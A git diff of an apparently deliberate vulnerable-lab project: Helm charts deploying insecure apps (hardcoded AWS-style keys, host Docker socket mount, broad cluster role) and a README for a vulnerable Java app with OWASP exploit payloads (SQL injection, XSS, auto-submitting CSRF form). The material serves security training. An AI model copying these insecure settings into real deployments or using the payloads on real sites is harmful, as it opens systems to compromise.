+        image: {{ .Values.insecureApi.image.repository }}:{{ .Values.insecureApi.image.tag }}
+        ports:
+        - containerPort: {{ .Values.insecureApi.containerPort }}
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: {{ .Values.insecureApi.service.name }}
+  namespace: {{ .Values.insecureApi.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+spec:
+  selector:
+    app: {{ .Values.insecureApi.appName }}
+  ports:
+  - port: {{ .Values.insecureApi.service.port }}
+    targetPort: {{ .Values.insecureApi.service.targetPort }}
+  type: ClusterIP
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: insecure-api-ingress
+  namespace: {{ .Values.insecureApi.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+  annotations:
+    nginx.ingress.kubernetes.io/rewrite-target: /$1
+    nginx.ingress.kubernetes.io/use-regex: "true"
+    meta.helm.sh/release-name: {{ .Release.Name }}
+    meta.helm.sh/release-namespace: {{ .Release.Namespace }}
+spec:
+  ingressClassName: nginx
+  rules:
+  - http:
+      paths:
+      - path: /api/?(.*)
+        pathType: ImplementationSpecific
+        backend:
+          service:
+            name: {{ .Values.insecureApi.service.name }}
+            port:
+              number: {{ .Values.insecureApi.service.port }} 
\ No newline at end of file
diff --git a/insecure-chart/templates/insecure-app-js.yaml b/insecure-chart/templates/insecure-app-js.yaml
index 72662b7..bd2046b 100644
--- a/insecure-chart/templates/insecure-app-js.yaml
+++ b/insecure-chart/templates/insecure-app-js.yaml
@@ -25,6 +25,9 @@ kind: Deployment
 metadata:
   name: {{ .Values.insecureJs.appName | default "insecure-js" }}
   namespace: {{ .Values.insecureJs.namespace | default "insecure-js" }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
 spec:
   replicas: {{ .Values.insecureJs.replicas | default 1 }}
   selector:
@@ -44,3 +47,48 @@ spec:
           ports:
             - containerPort: {{ .Values.insecureJs.containerPort | default 3000 }}
 
+---
+
+apiVersion: v1
+kind: Service
+metadata:
+  name: insecure-app-js
+  namespace: {{ .Values.insecureJs.namespace | default "insecure-js" }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+spec:
+  type: ClusterIP
+  ports:
+    - port: 3000
+      targetPort: 3000
+  selector:
+    app: {{ .Values.insecureJs.appName | default "insecure-js" }}
+
+---
+
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: insecure-app-js-ingress
+  namespace: {{ .Values.insecureJs.namespace | default "insecure-js" }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+  annotations:
+    nginx.ingress.kubernetes.io/rewrite-target: /
+    meta.helm.sh/release-name: {{ .Release.Name }}
+    meta.helm.sh/release-namespace: {{ .Release.Namespace }}
+spec:
+  ingressClassName: nginx
+  rules:
+    - http:
+        paths:
+          - path: /js
+            pathType: Prefix
+            backend:
+              service:
+                name: insecure-app-js
+                port:
+                  number: 3000
+
diff --git a/insecure-chart/templates/insecure-app.yaml b/insecure-chart/templates/insecure-app.yaml
index eeb9e7f..6044161 100644
--- a/insecure-chart/templates/insecure-app.yaml
+++ b/insecure-chart/templates/insecure-app.yaml
@@ -4,6 +4,9 @@ kind: Deployment
 metadata:
   name: {{ .Values.insecureApp.appName }}
   namespace: {{ .Values.insecureApp.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
 spec:
   replicas: {{ .Values.insecureApp.replicas }}
   selector:
@@ -13,11 +16,15 @@ spec:
     metadata:
       labels:
         app: {{ .Values.insecureApp.appName }}
+      annotations:
+        kubescape.io/max-sniffing-time: "5m"
     spec:
       containers:
       - name: {{ .Values.insecureApp.appName }}
         image: "{{ .Values.insecureApp.image.repository }}:{{ .Values.insecureApp.image.tag }}"
         env:
+        - name: SCRIPT_NAME
+          value: /app
         - name: AWS_ACCESS_KEY_ID
           value: AKIA2JAPX77RGLB664VE
         - name: AWS_SECRET_ACCESS_KEY
@@ -27,17 +34,25 @@ spec:
         volumeMounts:                   
         - name: docker-socket
           mountPath: /var/run/docker.sock
+        - name: data
+          mountPath: /data
       volumes:                         
       - name: docker-socket
         hostPath:
           path: /var/run/docker.sock
+      - name: data
+        persistentVolumeClaim:
+          claimName: insecure-app-data
       serviceAccountName: insecure-app-sa
 ---
 kind: Service
 apiVersion: v1
 metadata:
   name: insecure-app
-  namespace: {{ .Release.Namespace }}
+  namespace: {{ .Values.insecureApp.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
 spec:
   type: NodePort
   selector:
@@ -54,6 +69,9 @@ kind: ClusterRole
 apiVersion: rbac.authorization.k8s.io/v1
 metadata:
   name: insecure-app-role
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
 rules:
 - apiGroups: [""]
   resources: ["pods", "serviceaccounts", "serviceaccounts/token"]
@@ -63,10 +81,13 @@ kind: ClusterRoleBinding
 apiVersion: rbac.authorization.k8s.io/v1
 metadata:
   name: insecure-app-role-binding
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
 subjects:
 - kind: ServiceAccount
   name: insecure-app-sa
-  namespace: {{ .Release.Namespace }}
+  namespace: {{ .Values.insecureApp.namespace }}
   apiGroup: ""
 roleRef:
   kind: ClusterRole
@@ -77,4 +98,33 @@ apiVersion: v1
 kind: ServiceAccount
 metadata:
   name: insecure-app-sa
-  namespace: {{ .Release.Namespace }}
\ No newline at end of file
+  namespace: {{ .Values.insecureApp.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: insecure-app-ingress
+  namespace: insecure-app
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+  annotations:
+    nginx.ingress.kubernetes.io/rewrite-target: /$1
+    nginx.ingress.kubernetes.io/use-regex: "true"
+    meta.helm.sh/release-name: {{ .Release.Name }}
+    meta.helm.sh/release-namespace: {{ .Release.Namespace }}
+spec:
+  ingressClassName: nginx
+  rules:
+  - http:
+      paths:
+      - path: /app/?(.*)
+        pathType: ImplementationSpecific
+        backend:
+          service:
+            name: insecure-app
+            port:
+              number: 8080
\ No newline at end of file
diff --git a/insecure-chart/templates/insecure-java.yaml b/insecure-chart/templates/insecure-java.yaml
new file mode 100644
index 0000000..1811fb6
--- /dev/null
+++ b/insecure-chart/templates/insecure-java.yaml
@@ -0,0 +1,93 @@
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureJava.namespace | default "insecure-java" }}
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: {{ .Values.insecureJava.service.name | default "insecure-java" }}
+  namespace: {{ .Values.insecureJava.namespace | default "insecure-java" }}
+spec:
+  selector:
+    app: {{ .Values.insecureJava.appName | default "insecure-java" }}
+  ports:
+    - protocol: TCP
+      port: {{ .Values.insecureJava.service.port | default 3000 }}
+      targetPort: {{ .Values.insecureJava.service.targetPort | default 3000 }}
+  type: NodePort
+
+
+---
+
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: {{ .Values.insecureJava.appName }}
+  namespace: {{ .Values.insecureJava.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+spec:
+  replicas: {{ .Values.insecureJava.replicas }}
+  selector:
+    matchLabels:
+      app: {{ .Values.insecureJava.appName }}
+  template:
+    metadata:
+      labels:
+        app: {{ .Values.insecureJava.appName }}
+    spec:
+      containers:
+        - name: {{ .Values.insecureJava.containerName | default "insecure-java" }}
+          image: "{{ .Values.insecureJava.image.repository }}:{{ .Values.insecureJava.image.tag }}"
+          env:
+            - name: NODE_OPTIONS
+              value: "--perf-basic-prof --interpreted-frames-native-stack"
+          ports:
+            - containerPort: {{ .Values.insecureJava.containerPort | default 3000 }}
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: insecure-java
+  namespace: {{ .Values.insecureJava.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+spec:
+  type: ClusterIP
+  ports:
+    - port: 8080
+      targetPort: 8080
+  selector:
+    app: {{ .Values.insecureJava.appName }}
+
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: insecure-java-ingress
+  namespace: {{ .Values.insecureJava.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+  annotations:
+    nginx.ingress.kubernetes.io/rewrite-target: /$1
+    nginx.ingress.kubernetes.io/use-regex: "true"
+    meta.helm.sh/release-name: {{ .Release.Name }}
+    meta.helm.sh/release-namespace: {{ .Release.Namespace }}
+spec:
+  ingressClassName: nginx
+  rules:
+    - http:
+        paths:
+          - path: /java/?(.*)
+            pathType: ImplementationSpecific
+            backend:
+              service:
+                name: insecure-java
+                port:
+                  number: 8080
+
diff --git a/insecure-chart/templates/namespaces.yaml b/insecure-chart/templates/namespaces.yaml
new file mode 100644
index 0000000..53fd501
--- /dev/null
+++ b/insecure-chart/templates/namespaces.yaml
@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureJs.namespace }}
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureJava.namespace }}
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureApp.namespace }}
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureApi.namespace }}
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.workloadSecurityEvaluator.namespace }}
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.busybox.namespace }} 
\ No newline at end of file
diff --git a/insecure-chart/templates/pv.yaml b/insecure-chart/templates/pv.yaml
new file mode 100644
index 0000000..cf6b876
--- /dev/null
+++ b/insecure-chart/templates/pv.yaml
@@ -0,0 +1,23 @@
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: insecure-app-data
+spec:
+  capacity:
+    storage: 1Gi
+  accessModes:
+    - ReadWriteOnce
+  hostPath:
+    path: /data
+---
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: insecure-app-data
+  namespace: insecure-app
+spec:
+  accessModes:
+    - ReadWriteOnce
+  resources:
+    requests:
+      storage: 1Gi 
\ No newline at end of file
diff --git a/insecure-chart/terraform.tfstate b/insecure-chart/terraform.tfstate
deleted file mode 100644
index 0fe83f0..0000000
--- a/insecure-chart/terraform.tfstate
+++ /dev/null
@@ -1,9 +0,0 @@
-{
-  "version": 4,
-  "terraform_version": "1.7.3",
-  "serial": 1,
-  "lineage": "c79ba788-13b7-7e0e-b711-7a02534f78dd",
-  "outputs": {},
-  "resources": [],
-  "check_results": null
-}
diff --git a/insecure-chart/values.yaml b/insecure-chart/values.yaml
index 6c8eac5..0409cae 100644
--- a/insecure-chart/values.yaml
+++ b/insecure-chart/values.yaml
@@ -33,7 +33,7 @@ busybox:
   command: ["sleep", "3600"]
 
 insecureApp:
-  namespace: default
+  namespace: insecure-app
   appName: insecure-app
   replicas: 1
   image:
@@ -44,7 +44,7 @@ insecureApp:
     ssh: 22
 
 workloadSecurityEvaluator:
-  namespace: default
+  namespace: workload-security
   appName: workload-security-evaluator
   replicas: 1
   image:
@@ -53,3 +53,34 @@ workloadSecurityEvaluator:
   ports:
     http: 8080
     ssh: 22
+
+insecureApi:
+  namespace: insecure-api
+  appName: insecure-api
+  containerName: insecure-api
+  service:
+    name: insecure-api
+    port: 8000
+    targetPort: 8000
+  replicas: 1
+  image:
+    repository: confusedcrib/insecure-api
+    tag: latest
+  containerPort: 8000
+
+insecureAi:
+  namespace: insecure-ai
+  appName: insecure-ai
+  containerName: insecure-ai
+  service:
+    name: insecure-ai
+    port: 80
+    targetPort: 5000
+  replicas: 1
+  image:
+    repository: confusedcrib/insecure-ai
+    tag: latest
+  containerPort: 5000
+  env:
+    openaiApiKey: ""
+    geminiApiKey: ""
\ No newline at end of file
diff --git a/insecure-java/Dockerfile b/insecure-java/Dockerfile
index d190b11..6d1f651 100644
--- a/insecure-java/Dockerfile
+++ b/insecure-java/Dockerfile
@@ -1,7 +1,17 @@
-FROM openjdk:17-jdk as build
+# Build stage
+FROM gradle:7.6.1-jdk17 AS build
+WORKDIR /app
+COPY . .
+RUN gradle build --no-daemon
 
-ARG JAR_FILE=./insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT.jar
+# Run stage
+FROM openjdk:17-slim
+WORKDIR /app
+COPY --from=build /app/build/libs/insecure-java-0.0.1-SNAPSHOT.jar app.jar
 
-COPY ${JAR_FILE} app.jar
+# Expose the port the app runs on
+EXPOSE 8080
+
+# Run the application
+ENTRYPOINT ["java", "-jar", "app.jar"]
 
-ENTRYPOINT ["java","-jar","/app.jar"]
diff --git a/insecure-java/README.md b/insecure-java/README.md
index 3b7005f..ece254a 100644
--- a/insecure-java/README.md
+++ b/insecure-java/README.md
@@ -1,3 +1,536 @@
+# **Cat Picture App \- Vulnerable Application for Educational Purposes**
+
+Welcome to the **Cat Picture App**, an intentionally vulnerable web application designed for educational purposes to demonstrate common security vulnerabilities as outlined in the OWASP Top 10\. This application allows users to explore how these vulnerabilities can manifest in real-world applications and understand the importance of secure coding practices.
+
+---
+
+## **Table of Contents**
+
+* Introduction  
+* Getting Started  
+  * Prerequisites  
+  * Installation  
+  * Running the Application  
+* Vulnerabilities  
+  * 1\. Injection (SQL Injection)  
+  * 2\. Broken Authentication  
+  * 3\. Sensitive Data Exposure  
+  * 4\. XML External Entities (XXE)  
+  * 5\. Broken Access Control  
+  * 6\. Security Misconfiguration  
+  * 7\. Cross-Site Scripting (XSS)  
+  * 8\. Insecure Deserialization  
+  * 9\. Using Components with Known Vulnerabilities  
+  * 10\. Insufficient Logging & Monitoring  
+  * 11\. Insecure Direct Object References (IDOR)  
+  * 12\. Cross-Site Request Forgery (CSRF)  
+* Important Notes  
+* Learning Resources  
+* License
+
+---
+
+## **Introduction**
+
+The Cat Picture App is a simple web application that allows users to register, log in, add comments, search for cat pictures, and manage profiles. It intentionally contains multiple security vulnerabilities to help developers and security enthusiasts learn about common web application security issues.
+
+---
+
+## **Getting Started**
+
+### **Prerequisites**
+
+* **Java Development Kit (JDK)**: Version 11 or higher  
+* **Gradle**: Version 6.x or higher  
+* **Internet Connection**: To download dependencies
+
+### **Installation**
+
+**Clone the Repository**  
+bash  
+Copy code  
+`git clone https://github.com/yourusername/cat-picture-app.git`
+
+1. 
+
+**Navigate to the Project Directory**  
+bash  
+Copy code  
+`cd cat-picture-app`
+
+2. 
+
+**Build the Project**  
+bash  
+Copy code  
+`./gradlew clean build`
+
+3. 
+
+### **Running the Application**
+
+**Using Gradle**  
+bash  
+Copy code  
+`./gradlew bootRun`
+
+* 
+
+**Access the Application**  
+Open your web browser and navigate to:  
+arduino  
+Copy code  
+`http://localhost:8080/`
+
+* 
+
+---
+
+## **Vulnerabilities**
+
+Below is a detailed list of the vulnerabilities present in this application, along with their locations and examples of how they can be exploited.
+
+---
+
+### **1\. Injection (SQL Injection)**
+
+#### **Description**
+
+The application is vulnerable to SQL Injection, allowing attackers to manipulate database queries by injecting malicious SQL code through user inputs.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/controllers/CatPictureController.java`  
+* **Method:** `public String search(@RequestParam String name, Model model)`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`String query = "SELECT * FROM cat_pictures WHERE name = '" + name + "'";`  
+`List<CatPicture> results = catPictureRepository.findByNameQuery(query);`
+
+#### **How to Exploit**
+
+**Navigate to the Search Page**  
+bash  
+Copy code  
+`http://localhost:8080/search`
+
+1. 
+
+**Enter Malicious Input**  
+In the **Name** field, enter:  
+bash  
+Copy code  
+`' OR '1'='1`
+
+2.   
+3. **Submit the Form**  
+   Click on the **Search** button.
+
+#### **Impact**
+
+* Attackers can bypass authentication mechanisms.  
+* Unauthorized access to data.  
+* Data manipulation or deletion.
+
+#### **Mitigation**
+
+* Use parameterized queries or prepared statements.  
+* Validate and sanitize user inputs.
+
+---
+
+### **2\. Broken Authentication**
+
+#### **Description**
+
+The application has weak authentication mechanisms, storing passwords in plaintext and lacking proper session management.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/controllers/UserController.java`  
+* **Methods:**  
+  * `public String register(@RequestParam String username, @RequestParam String password, Model model)`  
+  * `public String login(@RequestParam String username, @RequestParam String password, Model model)`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`// Storing password in plaintext`  
+`user.setPassword(password);`  
+`userRepository.save(user);`
+
+#### **How to Exploit**
+
+1. **Register with a Simple Password**  
+   * Username: `user1`  
+   * Password: `password123`  
+2. **Login Using the Credentials**  
+   * The password is stored in plaintext, making it vulnerable if the database is compromised.
+
+#### **Impact**
+
+* Attackers can easily compromise user accounts.  
+* Increased risk if database access is obtained.
+
+#### **Mitigation**
+
+* Store passwords securely using hashing algorithms like BCrypt.  
+* Implement secure session management.  
+* Enforce strong password policies.
+
+---
+
+### **3\. Sensitive Data Exposure**
+
+#### **Description**
+
+Sensitive data such as passwords are stored and transmitted insecurely.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/models/User.java`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`private String password; // Password stored in plaintext`
+
+#### **How to Exploit**
+
+* If an attacker gains access to the database, they can read all user passwords.
+
+#### **Impact**
+
+* User accounts can be compromised.  
+* Potential for credential reuse attacks on other services.
+
+#### **Mitigation**
+
+* Encrypt sensitive data at rest and in transit.  
+* Implement proper access controls.  
+* Use HTTPS for secure communication.
+
+### **4\. Broken Access Control**
+
+#### **Description**
+
+The application lacks proper access control, allowing users to perform actions without authorization.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/controllers/CatPictureController.java`  
+* **Method:** `public String deletePicture(@RequestParam int id, Model model)`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`catPictureRepository.deleteById(id);`
+
+#### **How to Exploit**
+
+**Navigate to the Delete Picture Page**  
+bash  
+Copy code  
+`http://localhost:8080/delete`
+
+1.   
+2. **Enter Picture ID**  
+   * Enter `1` in the **Picture ID** field.  
+3. **Submit the Form**  
+   * Click on the **Delete** button.
+
+#### **Impact**
+
+* Unauthorized deletion of resources.  
+* Data loss or corruption.
+
+#### **Mitigation**
+
+* Implement authorization checks.  
+* Verify user permissions before performing actions.
+
+---
+
+### **5\. Security Misconfiguration**
+
+#### **Description**
+
+The application exposes detailed error messages and lacks proper security headers.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/config/GlobalExceptionHandler.java`  
+* **File:** `src/main/resources/application.properties`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`// Exposing detailed error messages`  
+`@ResponseBody`  
+`public String handleAllExceptions(Exception ex) {`  
+    `return ex.getMessage(); // Detailed exception message`  
+`}`
+
+properties  
+Copy code  
+`# Disabling security headers`  
+`spring.security.headers.content-security-policy=none`  
+`spring.security.headers.x-content-type-options=none`  
+`spring.security.headers.x-frame-options=none`  
+`spring.security.headers.x-xss-protection=0`
+
+#### **How to Exploit**
+
+* Trigger an error (e.g., access an undefined endpoint) to view detailed stack traces.  
+* Absence of security headers increases risk of attacks like clickjacking.
+
+#### **Impact**
+
+* Provides valuable information to attackers.  
+* Increased susceptibility to certain attacks.
+
+#### **Mitigation**
+
+* Configure global exception handling to show generic error messages.  
+* Enable and properly configure security headers.
+
+---
+
+### **6\. Cross-Site Scripting (XSS)**
+
+#### **Description**
+
+User inputs are not sanitized, allowing attackers to inject malicious scripts.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/controllers/CommentController.java`  
+* **Template:** `src/main/resources/templates/comments.html`
+
+#### **Vulnerable Code**
+
+html  
+Copy code  
+`<!-- Using th:utext renders unsanitized HTML content -->`  
+`<li th:each="comment : ${comments}" th:utext="${comment.text}"></li>`
+
+#### **How to Exploit**
+
+**Navigate to the Add Comment Page**  
+bash  
+Copy code  
+`http://localhost:8080/addComment`
+
+1. 
+
+**Enter Malicious Input**  
+php  
+Copy code  
+`<script>alert('XSS Attack');</script>`
+
+2.   
+3. **Submit the Form**  
+   * Click on the **Add Comment** button.  
+4. **View Comments**  
+   * Navigate to `http://localhost:8080/comments`  
+   * The script will execute.
+
+#### **Impact**
+
+* Execution of arbitrary scripts in users' browsers.  
+* Theft of user data or session hijacking.
+
+#### **Mitigation**
+
+* Sanitize and encode user inputs.  
+* Use `th:text` instead of `th:utext` in Thymeleaf templates.
+
+---
+
+### **9\. Using Components with Known Vulnerabilities**
+
+#### **Description**
+
+Outdated dependencies may contain known vulnerabilities.
+
+#### **Location**
+
+* **File:** `build.gradle`
+
+#### **Vulnerable Code**
+
+gradle  
+Copy code  
+`dependencies {`  
+    `// Using outdated versions`  
+    `implementation 'org.springframework.boot:spring-boot-starter-web:2.7.3'`  
+`}`
+
+#### **How to Exploit**
+
+* Attackers can exploit known vulnerabilities in outdated libraries.
+
+#### **Impact**
+
+* Compromise of the application through library exploits.
+
+#### **Mitigation**
+
+* Regularly update dependencies.  
+* Use tools to monitor for known vulnerabilities.
+
+---
+
+### **10\. Insecure Direct Object References (IDOR)**
+
+#### **Description**
+
+Users can access or modify resources by manipulating object identifiers without authorization.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/controllers/UserController.java`  
+* **Methods:**  
+  * `public String viewProfile(@RequestParam int userId, Model model)`  
+  * `public String editProfile(@RequestParam int userId, ...)`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`// No authorization check`  
+`User user = userRepository.findById(userId).orElse(null);`
+
+#### **How to Exploit**
+
+**View Another User's Profile**  
+bash  
+Copy code  
+`http://localhost:8080/profile?userId=2`
+
+1. 
+
+**Edit Another User's Profile**  
+bash  
+Copy code  
+`http://localhost:8080/editProfile?userId=2`
+
+2. 
+
+#### **Impact**
+
+* Unauthorized access to sensitive user data.  
+* Unauthorized modification of user profiles.
+
+#### **Mitigation**
+
+* Implement authorization checks to ensure users can only access their own data.  
+* Use session information to determine the current user.
+
+---
+
+### **11\. Cross-Site Request Forgery (CSRF)**
+
+#### **Description**
+
+The application lacks CSRF protection, allowing attackers to perform actions on behalf of authenticated users.
+
+#### **Location**
+
+* **File:** `src/main/java/com/example/catapp/controllers/CommentController.java`  
+* **Method:** `public String deleteComment(@RequestParam int commentId, RedirectAttributes redirectAttributes)`
+
+#### **Vulnerable Code**
+
+java  
+Copy code  
+`// No CSRF token verification`  
+`commentRepository.deleteById(commentId);`
+
+#### **How to Exploit**
+
+**Craft a Malicious HTML Page**  
+html  
+Copy code  
+`<form action="http://localhost:8080/deleteComment" method="post">`  
+    `<input type="hidden" name="commentId" value="1" />`  
+`</form>`  
+`<script>`  
+    `document.forms[0].submit();`  
+`</script>`
+
+1.   
+2. **Host the Page and Have an Authenticated User Visit It**  
+   * The comment with ID `1` will be deleted without the user's consent.
+
+#### **Impact**
+
+* Unauthorized actions performed on behalf of users.  
+* Data loss or unwanted state changes.
+
+#### **Mitigation**
+
+* Implement CSRF protection using tokens.  
+* Use frameworks or libraries that handle CSRF automatically.
+
+---
+
+## **Important Notes**
+
+* **Educational Purpose Only**  
+  * This application is intentionally insecure and should only be used in controlled environments.  
+  * Do not deploy this application in a production setting or expose it to untrusted networks.  
+* **Ethical Use**  
+  * Use this application responsibly to learn about security vulnerabilities.  
+  * Do not use this knowledge for malicious purposes.
+
+---
+
+## **Learning Resources**
+
+* **OWASP Top 10**  
+  * OWASP Top 10 Project  
+* **Secure Coding Practices**  
+  * OWASP Secure Coding Practices  
+* **Spring Security**  
+  * [Spring Security Reference](https://docs.spring.io/spring-security/site/docs/current/reference/html5/)  
+* **Thymeleaf Security**  
+  * Thymeleaf Documentation  
+* **CSRF Protection**  
+  * Understanding CSRF Attacks
+
+---
+
+## **License**
+
+This project is licensed under the MIT License \- see the LICENSE file for details.
+
+---
+
+**Disclaimer:** The vulnerabilities in this application are intentional and for educational purposes only. The authors are not responsible for any misuse of this application.
+
+---
+
+# **Additional Information**
+
+Feel free to explore the codebase, experiment with the vulnerabilities, and most importantly, learn how to secure applications against such threats.
+
+For any questions or suggestions, please open an issue or submit a pull request.
+
+---
+
+Happy Learning\!
+
+
+
+Old - Deserialization attack
 1. javac Exploit.java
 2. jar cf Exploit.jar Exploit.class
 3. ```curl -X POST \
diff --git a/insecure-java/build.gradle b/insecure-java/build.gradle
index 511a769..007a146 100644
--- a/insecure-java/build.gradle
+++ b/insecure-java/build.gradle
@@ -1,26 +1,42 @@
 plugins {
-	id 'java'
-	id 'org.springframework.boot' version '3.2.4'
-	id 'io.spring.dependency-management' version '1.1.4'
+    id 'java'
+    id 'org.springframework.boot' version '2.7.3' // Use a compatible Spring Boot version
+    id 'io.spring.dependency-management' version '1.0.14.RELEASE'
+}
+
+springBoot {
+    mainClass = 'com.example.catapp.CatAppApplication'
 }
 
 group = 'com.example'
 version = '0.0.1-SNAPSHOT'
-
-java {
-	sourceCompatibility = '17'
-}
+sourceCompatibility = '11' // Set your Java version here
 
 repositories {
-	mavenCentral()
+    mavenCentral()
 }
 
 dependencies {
+    // Spring Boot Starter Web
     implementation 'org.springframework.boot:spring-boot-starter-web'
-    developmentOnly 'org.springframework.boot:spring-boot-devtools'
+
+    // Spring Data JPA
+    implementation 'org.springframework.boot:spring-boot-starter-data-jpa'
+
+    // H2 Database (In-memory database)
+    runtimeOnly 'com.h2database:h2'
+
+    // Thymeleaf Template Engine
+    implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
+
+    // Lombok (Optional: Remove if not using Lombok)
+    compileOnly 'org.projectlombok:lombok'
+    annotationProcessor 'org.projectlombok:lombok'
+
+    // Testing (Optional)
     testImplementation 'org.springframework.boot:spring-boot-starter-test'
 }
 
 tasks.named('test') {
-	useJUnitPlatform()
+    useJUnitPlatform()
 }
diff --git a/insecure-java/build/bootJarMainClassName b/insecure-java/build/bootJarMainClassName
new file mode 100644
index 0000000..3eefa8a
--- /dev/null
+++ b/insecure-java/build/bootJarMainClassName
@@ -0,0 +1 @@
+com.example.catapp.CatAppApplication
\ No newline at end of file
diff --git a/insecure-java/build/bootRunMainClassName b/insecure-java/build/bootRunMainClassName
new file mode 100644
index 0000000..3eefa8a
--- /dev/null
+++ b/insecure-java/build/bootRunMainClassName
@@ -0,0 +1 @@
+com.example.catapp.CatAppApplication
\ No newline at end of file
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/CatAppApplication.class b/insecure-java/build/classes/java/main/com/example/catapp/CatAppApplication.class
new file mode 100644
index 0000000..120e238
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/CatAppApplication.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/config/GlobalExceptionHandler.class b/insecure-java/build/classes/java/main/com/example/catapp/config/GlobalExceptionHandler.class
new file mode 100644
index 0000000..90e8bef
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/config/GlobalExceptionHandler.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/controllers/CatPictureController.class b/insecure-java/build/classes/java/main/com/example/catapp/controllers/CatPictureController.class
new file mode 100644
index 0000000..514ea56
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/controllers/CatPictureController.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/controllers/CommentController.class b/insecure-java/build/classes/java/main/com/example/catapp/controllers/CommentController.class
new file mode 100644
index 0000000..8f1f884
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/controllers/CommentController.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/controllers/HomeController.class b/insecure-java/build/classes/java/main/com/example/catapp/controllers/HomeController.class
new file mode 100644
index 0000000..1ccd8f7
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/controllers/HomeController.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/controllers/UserController.class b/insecure-java/build/classes/java/main/com/example/catapp/controllers/UserController.class
new file mode 100644
index 0000000..68cbe60
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/controllers/UserController.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/models/CatPicture.class b/insecure-java/build/classes/java/main/com/example/catapp/models/CatPicture.class
new file mode 100644
index 0000000..edaa46b
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/models/CatPicture.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/models/Comment.class b/insecure-java/build/classes/java/main/com/example/catapp/models/Comment.class
new file mode 100644
index 0000000..e5ad8d6
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/models/Comment.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/models/User.class b/insecure-java/build/classes/java/main/com/example/catapp/models/User.class
new file mode 100644
index 0000000..a0df6ce
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/models/User.class differ
